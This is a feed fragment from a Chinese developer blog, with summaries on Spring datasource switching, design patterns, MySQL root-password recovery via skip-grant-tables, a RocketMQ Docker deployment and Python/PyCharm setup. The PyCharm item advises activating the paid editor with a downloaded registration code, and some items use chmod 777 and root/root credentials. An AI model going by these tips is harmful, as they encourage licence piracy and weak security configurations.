      <pubDate>Fri, 24 Feb 2023 10:04:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef64cb30a9acb8903f1bf7519f9302b3/</guid>
      <description>背景：主从架构下，数据库的读写分离 1. 依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-j&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--引入baomidou的切换数据源的依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dynamic-datasource-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.6.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2.配置数据源 spring: datasource: dynamic: primary: master strict: true datasource: master: url: jdbc:mysql://127.0.0.1:3307/user1?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;useSSL=false username: root password: root driver-class-name: com.mysql.cj.jdbc.Driver slave_1: url: jdbc:mysql://127.0.0.1:3308/user1?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;useSSL=false username: root password: root driver-class-name: com.mysql.cj.jdbc.Driver 3. 使用 （使用 @DS 切换数据源。） @DS 可以注解在方法上或类上，同时存在就近原则 方法上注解 优先于 类上注解。 注解结果没有@DS默认数据源@DS(“dsName”)dsName可以为组名也可以为具体某个库的名称 4.</description>
    </item>
    <item>
      <title>设计模式学习笔记 - 外观模式</title>
      <link>https://bchobby.github.io/posts/fbaa4d672e9e912e8d3d5f515457f891/</link>
      <pubDate>Thu, 23 Feb 2023 21:33:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbaa4d672e9e912e8d3d5f515457f891/</guid>
      <description>设计模式学习笔记 - 外观模式 一、影院管理问题二、传统方式解决影院管理问题三、外观模式介绍1、基本介绍2、原理类图 四、外观模式解决影院管理问题五、外观模式在MyBatis框架应用的源码分析六、外观模式的注意事项和细节 一、影院管理问题 组建一个家庭影院：DVD 播放器、投影仪、自动屏幕、环绕立体声、爆米花机。要求完成使用家庭影院的功能，其过程为直接用遥控器统筹各设备开关：&#xA;1.打开爆米花机 2.放下屏幕 3.打开投影仪 4.打开音响 5.打开DVD，选dvd 6.去拿爆米花 7.调暗灯光 8.播放dvd 9.观影结束后，关闭各种设备 二、传统方式解决影院管理问题 类图：&#xA;传统方式解决影院管理问题分析：&#xA;（1）在 Client的main方法中，创建各个子系统的对象，并直接去调用子系统（对象）相关方法，会造成调用过程混乱，没有清晰的过程。在Client中不利于去维护对子系统的操作。&#xA;（2）解决思路：定义一个高层接口，给子系统中的一组接口提供一个一致的界面（比如在高层接口中提供四个方法on、play、pause、off），用来访问子系统中的一群接口。也就是说，通过定义一个一致的接口（界面类），用以屏蔽内部子系统的细节，使得调用端只需跟这个一致的接口发生调用，而无需关心这个子系统的内部细节。这就是使用了外观模式。&#xA;三、外观模式介绍 1、基本介绍 外观模式（Facade Pattern），也叫“过程模式”。外观模式为子系统中的一组接口提供一个一致的界面，此模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。&#xA;外观模式通过定义一个一致的接口，用以屏蔽内部子系统的细节，使得调用端只需跟这个接口发生调用，而无需关心这个子系统的内部细节。&#xA;外观模式可以理解为转换一群接口，客户只要调用一个接口，而不用调用多个接口才能达到目的。&#xA;外观模式就是解决多个复杂接口带来的使用困难，起到简化用户操作的作用。&#xA;2、原理类图 说明：&#xA;外观类（Facade）：为调用端提供统一的调用接口，外观类知道哪些子系统负责处理请求，从而将调用端的请求代理给适当子系统对象。子系统的集合：指模块或者子系统，处理Facade对象指派的任务，是功能实际提供者。调用者（Client）：外观接口的调用者。&#xA;四、外观模式解决影院管理问题 类图：&#xA;实现代码：&#xA;package com.etc.design.facade; public class Client { public static void main(String[] args) { // 使用外观类实现过程 HomeTheaterFacade homeTheaterFacade = new HomeTheaterFacade(); // 开启所有设备 homeTheaterFacade.ready(); // DVD播放 homeTheaterFacade.play(); // DVD暂停 homeTheaterFacade.pause(); // 关闭所有设备 homeTheaterFacade.end(); } } package com.</description>
    </item>
    <item>
      <title>Windows：解决MySQL登录ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using passwor=YES)问题</title>
      <link>https://bchobby.github.io/posts/25a6c410b4f97a87a0db555a7dbee285/</link>
      <pubDate>Thu, 23 Feb 2023 19:47:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25a6c410b4f97a87a0db555a7dbee285/</guid>
      <description>我在下载的MySQL是8.0.32版本，刚下的时候没什么问题第二天启动MySQL服务就出现了&#xA;ERROR 1045 (28000): Access denied for user &#39;root&#39;@&#39;localhost&#39; (using password: YES)&#xA;或&#xA;ERROR 1045 (28000): Access denied for user &#39;root&#39;@&#39;localhost&#39; (using password: NO)&#xA;这样的问题，到现在还是不理解为什么会出现这样的问题但是问题已经解决了，希望我的文章可以帮助和我一样刚入门的小白。&#xA;一、MySQL密码错误的解决方法 打开以管理员身份打开终端，输入指令net stop mysql停止MySQL服务，停止服务之后不要删后面还有用&#xA;找到你MySQL的安装路径并删除该文件夹下的data文件夹(如果有就删掉，没有就不用管)&#xA;3.到终端里面输入mysqld --initialize然后等一下(这段时间就是在创建data文件夹)，再次输入net start mysql启动MySQL服务，这时便会重新产生一个临时的登录密码&#xA;4.然后使用全局搜索找到.err文件（这里我用的是everything，用它来找零碎的文件是真的好用），或者直接去安装目录的data文件夹里面找(里面只有.err这一个文件)，用记事本打开查找password,结尾就是登录密码&#xA;原文参考链接:https://blog.csdn.net/liu_xin_xin/article/details/96473805&#xA;二、MySQL修改密码 1.以管理员身份打开终端，输入net stop mysql停止MySQL服务&#xA;2.再次输入mysqld --console --skip-grant-tables --shared-memory跳过密码验证登录，前面的终端那不要关再打开一个新的管理员终端输入mysql -u root -p这时直接回车就行了&#xA;输入两段命令使密码置空&#xA;use mysql&#xA;update user set authentication_string=&#39;&#39;where user=&#39;root&#39;;&#xA;4.输入quit退出MySQL，这个别关后面有用&#xA;5.这时就可以关掉以mysqld --console --skip-grant-tables --shared-memory启动的管理员终端了&#xA;6.在管理员终端输入net start mysql启动MySQL服务&#xA;7.这时输入mysql -u root -p回车就能进去了，因为密码已经置空所以不需要密码&#xA;8.这时输入ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;新密码&#39;；，这样新密码就设置好了</description>
    </item>
    <item>
      <title>Docker部署RocketMQ集群</title>
      <link>https://bchobby.github.io/posts/369265f6c45de4898cbb64d1bec5a57a/</link>
      <pubDate>Thu, 23 Feb 2023 19:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/369265f6c45de4898cbb64d1bec5a57a/</guid>
      <description>一、概述 Apache RocketMQ是阿里开源的一款高性能、高吞吐量、队列模型的消息中间件的分布式消息中间件。&#xA;关于RocketMQ集群架构的详细介绍，请参考链接：https://blog.csdn.net/Weixiaohuai/article/details/123607472&#xA;二、下载镜像 docker pull apache/rocketmq:4.9.4 docker pull apacherocketmq/rocketmq-dashboard 主要用到了2个镜像，第1个用来部署NameServer和Broker，第2个用来管理rocketmq&#xA;三、部署 本文主要采用一台服务器来部署RocketMQ集群，集群部署模式采用多master模式，也就是2个NameServer和2个Broker&#xA;刷盘机制采用异步复制，异步刷盘&#xA;服务器配置：&#xA;操作系统：centos 7.6&#xA;硬件配置：2核4g&#xA;ip地址：192.168.137.138&#xA;创建目录 mkdir -p /opt/rocketmq/logs/nameserver-a mkdir -p /opt/rocketmq/logs/nameserver-b mkdir -p /opt/rocketmq/logs/broker-a mkdir -p /opt/rocketmq/logs/broker-b mkdir -p /opt/rocketmq/store/broker-a mkdir -p /opt/rocketmq/store/broker-b mkdir -p /opt/rocketmq/broker-a/ mkdir -p /opt/rocketmq/broker-b/ 设置权限&#xA;chmod 777 -R /opt/rocketmq/logs/* chmod 777 -R /opt/rocketmq/store/* 注意：这里如果不设置权限，会导致docker写入文件失败，导致rocketmq启动异常。&#xA;创建broker.conf 修改第一个节点配置&#xA;vim /opt/rocketmq/broker-a/broker-a.conf 内容如下：&#xA;brokerClusterName = rocketmq-cluster brokerName = broker-a brokerId = 0 #这个很有讲究 如果是正式环境 这里一定要填写内网地址(安全) #如果是用于测试或者本地这里建议要填外网地址，因为你的本地代码是无法连接到阿里云内网，只能连接外网。 brokerIP1 = 192.</description>
    </item>
    <item>
      <title>Unity用UGUI实现省份选择</title>
      <link>https://bchobby.github.io/posts/1b60e89d457f73fc14e3e5017b2fe597/</link>
      <pubDate>Thu, 23 Feb 2023 18:28:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b60e89d457f73fc14e3e5017b2fe597/</guid>
      <description>参考&#xA;Unity3D中使用UGUI实现省市选择器_YOLO_TO_GAME的博客-CSDN博客</description>
    </item>
    <item>
      <title>Linux查看硬件超强命令SAR</title>
      <link>https://bchobby.github.io/posts/8e4d53531147b60ca8ca7bf202d5154c/</link>
      <pubDate>Thu, 23 Feb 2023 14:41:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e4d53531147b60ca8ca7bf202d5154c/</guid>
      <description>一、概述 sar(System Activity Reporter，系统活动情况报告)是Linux下系统运行状态统计工具，可从多方面对系统的活动进行报告，包括：文件的读写情况、系统调用的使用情况、磁盘I/O、CPU效率、内存使用状况、进程活动及IPC有关的活动等。算是一个万能的小能手。&#xA;二、安装 ubuntu下：&#xA;root@ubuntu:/home/peng# apt-get install sysstat&#xA;root@ubuntu:/home/peng# sar -r&#xA;Cannot open /var/log/sysstat/sa07: No such file or directory&#xA;Please check if data collecting is enabled 执行后会遇到以下错误，sa07中的07是当天的日期，原因是由于没有创建该文件。解决方法：&#xA;root@ubuntu:/home/peng# chmod o+w /etc/default/sysstat root@ubuntu:/home/peng# vim /etc/default/sysstat 三、 命令 语法&#xA;类型 就是我们要获取的是哪个类型的指标数据，这里的-n，代表的是监控一些网络信息 -a：文件读写情况&#xA;-A：所有报告的总和&#xA;-B：分页状况&#xA;-b：显示I/O和传送速率的统计信息&#xA;-c：输出进程统计信息，每秒创建的进程数&#xA;-d：块设备状况&#xA;-F [ MOUNT ]：文件系统统计信息&#xA;-H：交换空间利用率&#xA;-I { &amp;lt;中断&amp;gt; | SUM | ALL | XALL }：中断信息状况&#xA;-n：汇报网络情况&#xA;-P：设定CPU&#xA;-q：队列长度和平均负载&#xA;-R：输出内存页面的统计信息&#xA;-r [ ALL ]：输出内存和交换空间的统计信息</description>
    </item>
    <item>
      <title>【CMD操作】如何使用CMD运行Python文件</title>
      <link>https://bchobby.github.io/posts/5c5c5323b0a4035823f681e71525ef60/</link>
      <pubDate>Thu, 23 Feb 2023 14:41:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c5c5323b0a4035823f681e71525ef60/</guid>
      <description>首先需要保证已经安装Python解释器并配置好环境变量（安装及配置步骤可见Python安装教程）&#xA;一、打开管理员cmd&#xA;开始键右击选择Windows Powershell（管理员）&#xA;二、输入指令&#xA;输入“python ”+要运行的python文件路径&#xA;注意：当命令行中文件路径有空格时，需加上双引号方可运行！！</description>
    </item>
    <item>
      <title>裸金属和虚拟机/裸金属镜像与普通镜像</title>
      <link>https://bchobby.github.io/posts/d2f3de574b05c3dbdc64ad59db4b5627/</link>
      <pubDate>Thu, 23 Feb 2023 14:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2f3de574b05c3dbdc64ad59db4b5627/</guid>
      <description>目录&#xA;裸金属镜像和虚拟机的区别&#xA;裸金属镜像和普通镜像的区别&#xA;裸金属和虚拟机的区别 裸金属机器（Bare Metal）和虚拟机（Virtual Machine）都是计算机系统中的不同类型。&#xA;裸金属机器是指一台物理服务器，它没有操作系统或虚拟化层。它直接运行在硬件上，并且可以独立于其他计算机系统运行。裸金属机器通常用于需要高性能和可靠性的应用程序，例如数据库、游戏服务器、视频处理等。&#xA;虚拟机是一种通过虚拟化技术创建的虚拟计算机。它可以运行在物理服务器上，并模拟出一台完整的计算机系统。虚拟机可以在同一台物理服务器上运行多个虚拟机，每个虚拟机都可以运行自己的操作系统和应用程序。虚拟机通常用于需要灵活性和可扩展性的应用程序，例如网站托管、测试环境等。&#xA;下面是裸金属机器和虚拟机之间的一些主要区别：&#xA;硬件资源：裸金属机器提供完整的硬件资源，包括CPU、内存、磁盘等。虚拟机则共享物理服务器的硬件资源，每个虚拟机只能访问分配给它的一部分资源。&#xA;性能：由于裸金属机器直接运行在硬件上，因此通常具有更高的性能和更低的延迟。虚拟机则需要通过虚拟化技术来模拟硬件资源，因此可能会有性能损失和延迟。&#xA;部署：裸金属机器需要在操作系统和应用程序上进行手动配置和安装，而虚拟机则可以通过预先配置的映像进行快速部署。&#xA;弹性：虚拟机具有更好的弹性，可以快速添加或删除虚拟机来满足需要。裸金属机器则需要手动添加或删除物理服务器。&#xA;安全性：由于裸金属机器没有虚拟化层，因此可能更容易受到攻击。虚拟机则提供更好的隔离和安全性，每个虚拟机都运行在自己的安全容器中。ps:(&#xA;相比较而言，虚拟机可以提供更好的隔离和安全性，因为每个虚拟机都运行在自己的安全容器中，可以相互隔离。虚拟机可以限制各个虚拟机之间的资源访问，减少恶意软件和攻击的传播风险。同时，虚拟机通常提供更多的安全特性和功能，例如虚拟防火墙、安全软件和加密等。&#xA;然而，裸金属服务器在某些情况下可能被认为更加安全。由于裸金属服务器没有虚拟化层，因此它可以提供更高的性能和更低的延迟，并减少虚拟化层引入的潜在安全漏洞。此外，裸金属服务器可以让用户完全掌控硬件资源，避免虚拟机之间的资源竞争问题，并减少虚拟机中出现的一些安全问题。&#xA;综上所述，选择裸金属服务器还是虚拟机取决于具体的应用场景和安全需求。在考虑安全性方面，需要综合考虑安全特性、性能需求、资源控制和监控等因素，评估哪种选择更适合。&#xA;)..&#xA;裸金属镜像和普通镜像的区别 普通镜像（比如Docker镜像）是为虚拟化平台而设计的，通常包含了完整的操作系统和应用程序环境，并通过虚拟化技术运行在虚拟机中。普通镜像需要依赖虚拟化平台提供的虚拟化层，无法直接运行在裸金属服务器上。&#xA;裸金属镜像则是为裸金属服务器而设计的，它们不包含虚拟化层，直接运行在裸金属服务器的物理硬件上。裸金属镜像通常不包含完整的操作系统，而是包含了裸金属服务器需要的最小化系统环境，如基础的操作系统内核和驱动程序等。&#xA;另外，裸金属镜像也可以包含一些预装的应用程序，但通常是为了方便用户快速启动和配置应用程序而设计的，而不是为了提供完整的应用程序环境。&#xA;由于裸金属镜像的设计目标和适用范围不同于普通镜像，因此它们的制作和使用也有所不同。制作裸金属镜像需要考虑裸金属服务器的硬件和系统环境，而使用裸金属镜像则需要自行安装和配置应用程序环境。&#xA;总的来说，裸金属镜像和普通镜像是针对不同的应用场景和平台而设计的，需要根据具体需求选择合适的镜像类型。</description>
    </item>
    <item>
      <title>OpenFeign核心源码简读</title>
      <link>https://bchobby.github.io/posts/086d1e4d7a70561b9f58e8b2a6b2dad7/</link>
      <pubDate>Thu, 23 Feb 2023 11:52:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/086d1e4d7a70561b9f58e8b2a6b2dad7/</guid>
      <description>目录&#xA;1、FeignClient注册逻辑&#xA;1.1、入口@EnableFeignClients&#xA;1.2、FeignClientsRegistrar&#xA;1.2.1、registerBeanDefinitions&#xA;1.2.2、registerFeignClients&#xA;1.2.3、registerFeignClient&#xA;1.3、FeignClientFactoryBean&#xA;1.3.1、getObject -&amp;gt; getTarget&#xA;1.3.2、loadBalance&#xA;1.4、feign.Feign#target&#xA;2、FeignClient接口调用逻辑&#xA;2.1、feign.ReflectiveFeign#newInstance&#xA;2.1.1、方法增强&#xA;2.1.2、FeignClient增强&#xA;2.2、feign.SynchronousMethodHandler&#xA;2.2.1、invoke&#xA;2.2.2、executeAndDecode&#xA;3、一些实用功能&#xA;3.1、Feign请求预处理(RequestInterceptor)&#xA;3.2、FeignClient请求优先走本地接口实现类(思路)&#xA;版本：spring-cloud-openfeign-core:3.1.2&#xA;1、FeignClient注册逻辑 1.1、入口@EnableFeignClients @EnableFeignClients -&amp;gt; @Import(FeignClientsRegistrar.class)&#xA;1.2、FeignClientsRegistrar org.springframework.cloud.openfeign.FeignClientsRegistrar&#xA;通过实现ImportBeanDefinitionRegistrar接口，重写registerBeanDefinitions方法，可以完成自定义Bean的注入。&#xA;1.2.1、registerBeanDefinitions registerDefaultConfiguration：注入FeignClient的全局配置，将@EnableFeignClients中的defaultConfiguration属性中配置的class类型注入到容器。registerFeignClients：将所有添加了@FeignClient注解的接口，创建Bean并注入到容器中。 1.2.2、registerFeignClients 扫描指定package下所有@FeignClient修饰的接口，注入FeignClient客户端(代理)对象，供应用程序远程调用时使用。&#xA;1.2.3、registerFeignClient 根据@FeignClient注解中的属性配置，定义FeignClient对应的BeanDefiniton对象，并注入到容器中。核心是一个FeignClientFactoryBean对象，该对象是一个FactoryBean对象，生成的实例是FactoryBean.getObject()方法返回的对象；&#xA;对于FeignClientFactoryBean来说，getObject()返回的就是Feign接口类的代理对象。&#xA;1.3、FeignClientFactoryBean org.springframework.cloud.openfeign.FeignClientFactoryBean&#xA;1.3.1、getObject -&amp;gt; getTarget 如果@FeignClient注解配置了url属性，返回一个默认代理类；&#xA;反之，则返回一个带有负载均衡功能的代理类(feign + ribbon)。&#xA;1.3.2、loadBalance targeter.target -&amp;gt; org.springframework.cloud.openfeign.DefaultTargeter#target -&amp;gt; feign#target&#xA;targeter.target：创建代理对象&#xA;1.4、feign.Feign#target 包含build()和newInstance()两个方法。&#xA;build(): FeignClient的构造器，返回一个ReflectiveFeign对象。newInstance(): 创建FeignClient的动态代理对象 2、FeignClient接口调用逻辑 2.1、feign.ReflectiveFeign#newInstance 包含方法增强和FeignClient增强。&#xA;2.1.1、方法增强 Map&amp;lt;Method, MethodHandler&amp;gt; methodToHandler保存了方法对应的增强逻辑，MethodHandler具体类型为SynchronousMethodHandler；&#xA;2.1.2、FeignClient增强 使用动态代理的方式增强Feign请求逻辑，增强逻辑在ReflectiveFeign.FeignInvocationHandler的invoke方法中。当有Feign请求时，会进入该方法。</description>
    </item>
    <item>
      <title>ESLint:TypeError: Cannot read properties of null (reading ‘name‘)解决方法</title>
      <link>https://bchobby.github.io/posts/27ead59ee8d03c00f251802bc8b35a03/</link>
      <pubDate>Thu, 23 Feb 2023 11:35:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27ead59ee8d03c00f251802bc8b35a03/</guid>
      <description> 记录一下奇奇怪怪的ESLint报错 问题示例： 原因： 解决方法： </description>
    </item>
    <item>
      <title>Centos7.9终端背景及字体颜色设置为类似Ubuntu样式</title>
      <link>https://bchobby.github.io/posts/5afe4de4e155a17afc108db649f156ae/</link>
      <pubDate>Thu, 23 Feb 2023 10:56:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5afe4de4e155a17afc108db649f156ae/</guid>
      <description>最近使用Centos系统觉得终端的字体看得太费劲了，反观Ubuntu的终端看起来就很舒服，所以特地去学习了一下如何修改Centos的终端样式，仅此记录。&#xA;关于样式设置参考了这篇文章&#xA;https://wuyaogexing.com/65/84451.html&#xA;下面给出我的样式最终效果图和设置方法：&#xA;最终效果 Centos7.9&#xA;对比Ubuntu22.04&#xA;设置方法 普通用户的样式设置：&#xA;cd ~ vim .bashrc 新增一行：&#xA;PS1=&#34;\[\e[37;37m\]\[\e[32;32m\]\u\[\e[32;32m\]@\h:\[\e[34;34m\]\w\[\e[0m\]\\$ &#34; root用户的样式设置：&#xA;su # 输入root密码 或者 sudo -i # 输入当前用户密码 切换到root用户 vim /etc/bashrc 新增一行：&#xA;PS1=&#34;\[\e[31;31m\]\[\e[31;31m\]\u\[\e[31;31m\]@\h:\[\e[34;34m\]\w\[\e[0m\]\\$ &#34; 使用命令source /etc/bashrc 使更改立即生效（source .bashrc）</description>
    </item>
    <item>
      <title>Python开发环境的搭建(小白适用)</title>
      <link>https://bchobby.github.io/posts/2d7e911faea306eb088b373b97cf3d60/</link>
      <pubDate>Thu, 23 Feb 2023 10:14:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d7e911faea306eb088b373b97cf3d60/</guid>
      <description>Anaconda与Python的选择 个人理解Anaconda是对Python的集成，Anaconda据说自带了3000多个第三方包也是比较强大的存在了，但是本文讲解的是如何安装普通版本的Python。&#xA;下载Python&#xA;进入Python官网，点击Download&#xA;选择一个喜欢的Python版本点击进入该版本的详情页并下滑，可以看到很多可供下载的选择。&#xA;在这个地方需要说明一下，一般咱们应该选择下载 executable installer 文件，因为这个文件下载下来是一个exe可执行文件，安装比较方便。(windows 下可执行文件一般是 exe,msi等)&#xA;接下来还有一个问题需要注意就是下载64位的Python还是32位的Python,对于这个问题个人建议.&#xA;64位操作系统的同学下载 64位Python32位操作系统的同学下载 32位Python 点击此电脑，选择属性，查看操作系统位数。&#xA;确定好一切，咱们就可以下载Python，因为之前刚学Python的时候在这个地方吃了不少亏，所以希望大家注意，否则以后可能在开发过程中出现很多第三方包安装失败的问题，通过这个问题也可以间接的说明一件事情: 既然Python分64位和32位，那么Python的第三方包是不是也分64位或者32位呢？ 答案是:大部分情况是的。&#xA;注:Mac系统的同学只要注意操作系统位数，下载对应版本的python，按照教程安装即可。&#xA;安装Python&#xA;点击下载好的Python进行安装&#xA;一般在安装程序的时候，本人的作风都是一路Next，但是这样之后本人往往都是这个样子。&#xA;这里我们点击 Customize installation(自定义安装)，并且记得勾选Add Python To Path。&#xA;选择点击Next。&#xA;这里需要勾选第一个 Install for all user，并修改安装目录，本人直接修改C变为D即可(我很懒的).&#xA;点击Next，继续安装。&#xA;等待安装完成。安装完成进入Windows终端试着输入一些测试命令测试Python是否安装成功。&#xA;如果出现意外情况，发生 “不是内部或外部命令，也不是可运行的程序”, 请及时检查环境变量是否存在 python安装的路径，以及Python安装的路径+Scripts，如果不存在，我们需要将这两个路径添加到环境变量中。&#xA;安装全宇宙最强Python编辑器&#xA;个人觉得敲代码如果有一个很好的代码编辑器将会是一个非常好的编程体验，这里咱们选择安装全宇宙最强Python代码编辑器 Pycharm (这个是链接)。点击进入Pycharm 下载页面，点击download 下载。&#xA;下载完成之后点击安装。一路next即可，但是这里需要注意尽可能别把程序安装在系统盘(也就是C盘),将安装路径修改即可。&#xA;安装完成之后点击启动。&#xA;点击OK&#xA;由于Pycharm是收费的，所以这里我们只好选择尝试百度去解决这个问题。&#xA;点击下载注册码，将获取的注册码填入到Activation code，点击Ok即可。至此Pycharm 安装完成。&#xA;将 Python 环境导入Pycharm中&#xA;使用Pycharm打开我们的代码，但是发现Pycharm 并不能运行代码，这是为什么呢，原因其实是因为我们并没有将 Python 环境导入Pycharm中。&#xA;我们点击左上角的 File,点击Settings，点击Project:项目名，点击Project Interpreter。&#xA;点击小齿轮，点击Add，点击 System Interpreter 导入自己的Python安装文件夹下的Python.exe 文件即可。然后一路OK即可。最终效果图如下:</description>
    </item>
    <item>
      <title>【计算机网络】传输层TCP协议</title>
      <link>https://bchobby.github.io/posts/6fc27d88172be3aa319d62b80c22f207/</link>
      <pubDate>Thu, 23 Feb 2023 08:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fc27d88172be3aa319d62b80c22f207/</guid>
      <description>文章目录 认识TCP协议TCP协议的格式字段的含义序号与确认号六个标志位窗口大小 确认应答(ACK)机制超时重传机制连接管理机制三次握手四次挥手 滑动窗口流量控制拥塞控制延迟应答捎带应答面向字节流粘包问题TCP异常情况总结 认识TCP协议 TCP（Transmission Control Protocol，传输控制协议）是一种面向连接、可靠的、基于字节流的传输层协议。TCP协议是互联网协议栈中最重要的协议之一，它提供了可靠的数据传输服务，保证了数据的完整性、可靠性和有序性。&#xA;TCP协议通过建立连接、传输数据和断开连接三个步骤来完成数据传输。在建立连接时，双方需要通过三次握手协议来确认彼此的身份和可用性。在传输数据时，TCP协议会把数据分割成TCP数据包，并对每个数据包进行编号和校验，确保数据的完整性和有序性。在断开连接时，双方需要通过四次挥手协议来协商关闭连接。&#xA;TCP协议还提供了流量控制和拥塞控制功能，以便在网络拥塞或带宽限制的情况下保证数据传输的顺畅。此外，TCP协议还支持多路复用，可以在同一个连接上传输多个应用程序的数据。&#xA;总之，TCP协议是一种可靠、安全、高效的传输层协议，广泛应用于互联网中。&#xA;TCP协议的格式 字段的含义 源端口和目的端口：源端口是发送端口，目的端口是接收端口。它们分别占用16个比特，总共32个比特。序号与确认序号：序列号表示TCP报文段中第一个字节的序列号，确认号表示期望接收到的下一个字节的序列号。它们各占用32个比特，总共64个比特。数据偏移：其中填充了TCP报头的长度，以4字节为单位，一般为20字节，最长为60字节（20字节的固定首部加上加上选项的大小）。保留字段：TCP报头中暂未被使用的6个比特位。控制位：包括URG、ACK、PSH、RST、SYN和FIN六个标志位，用于指示TCP报文段的不同控制信息。窗口大小：保证TCP通信的可靠性和效率的字段。校验和：包括TCP报头和TCP数据两部分，校验和用于检测TCP报文段中是否有错误，占用16个比特。紧急指针：用于指示紧急数据的位置，占用16个比特，需要配合标志位中的URG标识使用。选项和填充：选项用于扩展TCP报文段，占用可变长度，填充用于对齐TCP报文段的长度，占用可变长度。最大40字节。 序号与确认号 32位序号：&#xA;如果双方在进行数据通信时，只有收到了上一次发送数据的响应才能发下一个数据，那么此时双方的通信过程就是串行的，效率可想而知。&#xA;因此双方在进行网络通信时，允许一方向另一方连续发送多个报文数据，只要保证发送的每个报文都有对应的响应消息就行了，此时也就能保证这些报文被对方收到了。&#xA;但在连续发送多个报文时，由于各个报文在进行网络传输时选择的路径可能是不一样的，因此这些报文到达对端主机的先后顺序也就可能和发送报文的顺序是不同的。但报文有序也是可靠性的一种，因此TCP报头中的32位序号的作用之一实际就是用来保证报文的有序性的。&#xA;TCP将发送出去的每个字节数据都进行了编号，这个编号叫做序列号。&#xA;比如现在发送端要发送3000字节的数据，如果发送端每次发送1000字节，那么就需要用三个TCP报文来发送这3000字节的数据。此时这三个TCP报文当中的32位序号填的就是发送数据中首个字节的序列号，因此分别填的是1、1001和2001。&#xA;当接收方收到这三个报文之后，就会根据其中的序列号进行排序，排序完成后再放入TCP缓冲区中，这样就能保证发送出去的和接收到的数据顺序保持一致。&#xA;32位确认号：&#xA;TCP报头当中的32位确认序号是告诉对方，当前已经收到了哪些数据，并且数据下一次应该从哪里开始发送&#xA;以上文的例子为例，当主机B收到主机A发送过来的32位序号为1的报文时，由于该报文当中包含1000字节的数据，因此主机B已经收到序列号为1-1000的字节数据，于是主机B发给主机A的响应数据的报头当中的32位确认序号的值就会填成1001。&#xA;一方面是告诉主机A，序列号在1001之前的字节数据我已经收到了。另一方面是告诉主机A，下次向我发送数据时应该从序列号为1001的字节数据开始进行发送。&#xA;如果报文在传输过程中丢失了，例如最终只要序号为1和2001的报文被主机B收到，那么当B对报文进行排序的时候，就会发现少了1001 ~ 2000 之间的数据，那么此时向主机A响应的报文中的32位确认序号的值就是1001，告诉主机A下次再次发送1001开始的数据。&#xA;【注意】&#xA;如果此时主机B在给主机A响应时，其32位确认序号不能填3001，因为1001-2000是在3001之前的，如果直接给主机A响应3001，就说明序列号在3001之前的字节数据全都收到了。因此主机B只能给主机A响应1001，当主机A收到该确认序号后就会判定序号为1001的报文丢包了，此时主机A就可以选择进行数据重传。&#xA;TCP报头中有了序号和确认号的机制，一定程度上保证了数据传输的完整性，同时也保证了TCP传输的可靠性。&#xA;六个标志位 TCP报文的种类多种多样，除了正常通信时发送的普通报文，还有建立连接时发送的请求建立连接的报文，以及断开连接时发送的断开连接的报文等等。收到不同种类的报文时需要对应执行动作，因此需要用标志位进行区分不同的报文类型。这六个标志位都只占用一个比特位，为0表示假，为1表示真。&#xA;URG：&#xA;双方在进行网络通信的时候，由于TCP是保证数据按序到达的，即便发送端将要发送的数据分成了若干个TCP报文进行发送，最终到达接收端时这些数据也都是有序的，因为TCP可以通过序号来对这些TCP报文进行顺序重排，最终就能保证数据到达对端接收缓冲区中时是有序的。&#xA;虽然TCP的有序到达是我们想要的目的，并且接收方的对端上层也是从接收缓冲区中按顺序读取的，但是有时候发送方也会发送紧急数据，那么就要让接收方的对端上层也要紧急读取该数据，因此就需要使用的URG标志位。&#xA;当URG标志位设置位1时，需要使用TCP报头中的16位紧急指针找到紧急数据，因此一般情况下不会使用到报头中的紧急指针。16位紧急指针表示了紧急数据在报文中的偏移量。 